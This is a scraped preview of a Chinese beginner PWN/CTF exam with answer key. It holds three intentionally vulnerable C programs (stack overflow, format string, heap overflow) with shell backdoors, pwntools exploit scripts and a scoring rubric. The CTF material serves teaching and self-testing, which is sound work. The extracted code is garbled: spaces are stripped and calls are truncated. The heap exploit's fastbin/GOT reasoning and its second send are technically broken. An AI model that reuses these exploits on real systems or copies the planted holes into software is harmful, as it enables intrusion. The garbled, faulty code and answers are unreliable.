PWN入门实战测试题(含详细解析+EXP)_第1页
PWN入门实战测试题(含详细解析+EXP)_第2页
PWN入门实战测试题(含详细解析+EXP)_第3页
PWN入门实战测试题(含详细解析+EXP)_第4页
PWN入门实战测试题(含详细解析+EXP)_第5页
已阅读5页,还剩1页未读, 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

PWN入门实战测试题(含详细解析+EXP)整套试题面向CTF新手,无超纲考点,涵盖栈溢出、格式化字符串、基础堆利用三大入门核心题型,题目风格贴合线下赛真题,解析通俗易懂,附带可直接运行的EXP,适配练习、自测、考核使用。环境说明:Linuxx6420.04、glibc2.31、关闭ASLR(基础题)/开启ASLR(进阶题)、无PIE、栈保护随机开启工具推荐:gdb、pwntools、IDAPro、checksec一、基础栈溢出题(30分)easy_stack1.题目源码(C语言)c

#include<stdio.h>

intmain(){

charbuf[16];

puts("WelcometoPWN!");

puts("Inputyourname:");

read(0,buf,100);

return0;

}

//隐藏后门函数

voidbackdoor(){

system("/bin/sh");

}2.题目保护机制(checksec)RELRO:PartialRELRO

STACKCANARY:No

NX:Enabled

PIE:Disabled3.题目考点基础栈溢出、覆盖函数返回地址、调用后门函数4.详细解题思路1.程序定义了16字节的字符数组buf,但read函数读取100字节,存在明显栈溢出漏洞;2.程序存在现成的backdoor后门函数,功能是执行system("/bin/sh"),拿到shell;3.栈结构分析:buf占用16字节,栈底到返回地址之间还有8字节栈对齐填充(x64架构),总共需要填充24字节垃圾数据,之后覆盖返回地址为backdoor函数地址;4.无栈保护、无PIE,函数地址固定,可直接硬编码地址跳转。5.完整EXP(python3)python

frompwnimport*

#创建进程

p=process("./easy_stack")

#获取后门函数地址(IDA/objdump可查,固定地址0x401146)

backdoor=0x401146

#构造payload:24字节垃圾数据+后门地址

payload=b'A'*24+p64(backdoor)

#发送payload

p.sendlineafter(b"Inputyourname:\n",payload)

#交互shell

eractive()6.答案结果运行EXP后成功获取程序交互式shell,可执行ls、catflag等命令拿到题目flag。二、格式化字符串漏洞题(35分)fmt_str1.题目源码(C语言)c

#include<stdio.h>

intmain(){

charbuf[32];

setvbuf(stdout,0,2,0);

puts("Givemeyourmessage:");

scanf("%s",buf);

printf(buf);

return0;

}

//全局变量存储flag

charflag[64]="flag{test_fmt_str_123}";2.题目保护机制RELRO:PartialRELRO

CANARY:No

NX:Enabled

PIE:Disabled3.题目考点格式化字符串任意读、栈参数偏移查找、全局变量读取4.详细解题思路1.漏洞核心:程序直接将用户输入的buf传入printf,未做格式化过滤,存在格式化字符串漏洞;2.flag存储在全局数据段,不在栈中,无法通过栈偏移读取,需要使用%s格式符读取指定地址内容;3.首先通过IDA获取全局变量flag的固定地址,构造payload:地址+%偏移$s,读取地址对应的字符串内容;4.本地测试偏移为6,可直接读取全局flag数据。5.完整EXP(python3)python

frompwnimport*

p=process("./fmt_str")

#IDA查询全局flag地址

flag_addr=0x404060

#构造payload:地址+格式化读取

payload=p64(flag_addr)+b"%6$s"

p.sendlineafter(b"Givemeyourmessage:\n",payload)

#打印输出结果

print(p.recvall())6.答案结果程序直接输出全局变量中的flag:flag{test_fmt_str_123}三、基础堆溢出题(35分)easy_heap1.题目源码(C语言)c

#include<stdio.h>

#include<stdlib.h>>

intmain(){

char*p1=malloc(0x20);

char*p2=malloc(0x20);

puts("HeapPWNTest!");

puts("Inputdata:");

read(0,p1,0x40);//堆溢出漏洞

printf("Yourdata:%s\n",p1);

free(p1);

free(p2);

return0;

}

voidget_flag(){

system("/bin/sh");

}2.题目保护机制RELRO:PartialRELRO

CANARY:No

NX:Enabled

PIE:Disabled

ASLR:Enabled3.题目考点glibc2.31堆结构、fastbin堆溢出、修改next指针、劫持free钩子4.详细解题思路1.程序申请两块0x20大小的fastbin堆块p1、p2,read向p1写入0x40字节数据,超出堆块大小,存在堆溢出;2.glibc2.31中fastbin堆块结构:0x10字节堆头+0x20字节用户数据,相邻堆块紧邻排布;3.利用p1溢出覆盖p2堆块的next指针,篡改fastbin链表,实现地址劫持;4.劫持free@got地址,将其改写为get_flag函数地址,程序执行free操作时触发后门,获取shell。5.完整EXP(python3)python

frompwnimport*

p=process("./easy_heap")

elf=ELF("./easy_heap")

#获取GOT表地址和后门地址

free_got=elf.got["free"]

flag_func=elf.sym["get_flag"]

#构造堆溢出payload:填满p1堆块+覆盖p2next指针为free_got

payload=b'A'*0x28+p64(free_got)

p.sendlineafter(b"Inputdata:\n",payload)

#二次修改got表内容为flag函数地址

payload2=p64(flag_func)

p.send(payload2)

#触发free,执行后门get_flag

eractive()6.答案结果程序执行free函数时跳转至get_flag,成功弹出交互式shell,读取flag文件。四、综合阅卷评分标准1.基础栈溢出题(30分):溢出偏移正确(15分)、payload构造无误(10分)、成功拿shell(5分);2.格式化字符串题(35分):漏洞原理阐述清晰(10分)、偏移查找正确(10分)、payload读取flag成功(15分);3.基础堆溢出题(35分):堆结构分析正确(10分

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论